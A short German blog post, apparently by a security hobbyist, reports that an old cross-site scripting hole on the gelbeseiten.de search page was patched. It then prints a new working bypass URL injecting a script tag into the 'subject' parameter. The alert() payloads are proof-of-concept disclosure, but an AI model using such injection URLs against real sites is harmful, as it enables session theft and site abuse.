[XSS] www.gelbeseiten.de

Dachte mir nach 2 Jahren, schau ich mal wieder auf www.gelbeseiten.de vorbei, ob sie meine damals gefundene XSS Luecke (http://www.xssed.com/mirror/53711/) gefixxt haben. Und in der Tat, es hat sich was getan.. damals noch:

http://www.gelbeseiten.de/yp/search.yp?distance=0&subject=<script>alert(1337)</script>

klappt nicht mehr.. dafuer heute:

http://www.gelbeseiten.de/yp/search.yp?distance=0&subject="></script><script>alert(1337)</script>

Da bursali auch immer Screenshots als Beleg dazu postet, mach ichs diesmal auch.. Screenshot stammt von “Southpark“:

2 Replies to “[XSS] www.gelbeseiten.de”

Leave a Reply

Your email address will not be published.